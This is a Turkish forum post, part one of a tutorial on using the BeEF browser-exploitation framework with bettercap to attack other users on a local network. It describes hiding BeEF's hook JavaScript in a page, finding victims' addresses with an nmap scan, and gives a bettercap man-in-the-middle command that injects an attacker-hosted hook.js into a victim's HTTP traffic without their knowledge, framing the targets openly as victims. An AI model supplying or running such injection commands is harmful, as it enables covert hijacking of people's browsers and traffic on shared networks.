ForumDenizi.Com - Beef framework ve bettercap kullanımı-1

;fg;
Herkeze Selam Bugün Sizlere Beef Framework Kullanımı Anlatacağım. Bu Konuyu Açarken Part -1 Olark Ayırdım , Çünki Çok Yakın Zamanda Bu Konunun Part-2 Si Çıkacak. Bu Konu Sadece Beef'in Kullanımı Açısından Genel Bir Bakış Yapacağız Ve Yerel Ağ'a Beef İle Nasıl Mitm Saldırısı Yapabileceğinizi Göstereceğim.part-2 De İse Dış Ağ İçin Gerekli Ayarların Yapılması ,ip Adresi Yerine Beef'i Duckdns Adresi İle Kullanmayı Ve Port Açılması Gibi İşlemler Olacak...

Şimdi Baaşlayalım...

Beef Nedir ?

Beef Bir Tarayıcı Exploitidir. Herhangibi Bir Web Site Kodlarının İçine Beef'i Çalıştıran Java Script Kodlarını Gizliyoruz. Böylece Kurban Bizim Web Sitemize Girdiği Zaman Beef'i Çalıştıran Java Script Kodları Da Çalışıyor Ve Beef Panelinde Kurban Online Oluyor.

Şimdi Beef İle Saldırmanın 2 Çeşidi Vardır.

1=Mitm Saldırı (Sadece Yerel Ağ İçin)
2=Web Sitemizin Kodlarının İçine Gizleyerek (Dış Ağ İçin)

Bizim Bugün Ki Konumuz Yerel Ağlar İçin. İlk Başta Beef'i Biraz Kullanılıyoruz Ve Beef'in Çalışma Mantığını Anlıyoruz. Yani Beef Konusunda Biraz Uzmanlaşmadan Kimseye Saldırmıyoruz. Local Ağımıza Basit Bir İndex.html Hazırlıyoruz Ve Videodaki Beef Kodlarını İndex.html Sayfamızın İçine Gömüyoruz. Daha Sonra Service Apache2 Start Diyerek Local Ağımızı , Bizimle Birlikte Yerel Ağımızda Bulunan Diğer Bilgisayarlara Açıyoruz.

Yerel Ağa Saldırmak Da 2 Ye Ayrılır.
1 Yöntem = Yerel Ağınızda Gözünüze Kestirdiğiniz Bir Kurbanı Kandırarak , Sizin Local Ağınızdaki , Kurduğunu Web Sitesine Bakmasını Sağlamak
2 Yöntem = Local Ağınıza Hiçbir Site Kurmadan , Bettercap Programı İle Yerel Ağınızdaki Bir Kurbana Mitm Saldırı Yaparak Beef'i Çalıştıracak Url Adresini Enjekte Etmek(Önerilir)

Şimdi Neden Kurbana Haber Verip Gel Local Ağımdaki Web Siteme Gir Diyelim Ki ? Haber Vermeden De Bunu Yapabiliyoruz.

Bunun İçin Bettercap Programını Kulllacağız. Bettercap 'ı Bilgisayarınıza Kurmak İçin Terminale Apt-Get İnstall Bettercap Yazmanız Yeterlidir.

Kurbanın İp Adresi Adresini Nasıl Bulurum Derseniz , Terminali Açın Ve Nmap 192.168.1.0/24 Komutu İle Local Ağınızdaki Bütün İp Adreslerini Görebilirsiniz.şimdi Bettercap Programı İle Beef Url Adresini Kurbanın Bağlantısına Nasıl Enjekte Edebileceğinizi Göstereyim..

Bettercap -T Kurbanın_İp_Adresi --Proxy-Module İnjectjs --Js-Url "http://kendi_İp_Adresiniz:3000/hook.js"

Evet Artık Yerel Ağınızdaki Kurban , Http Uzantılı Hangi Siteye Girerse Girsin Beef Panelinde Online Olacaktır. Yanlız Http Protokolü İle Girdiği Siiteden Çıkarsa Beef Panelindeki Bağlantıda Gider. Fakat Http Protokolü İle Tekrar Farklı Bir Siteye Girerse Yine Beef Panelinde Online Gözükecektir.

Alıntı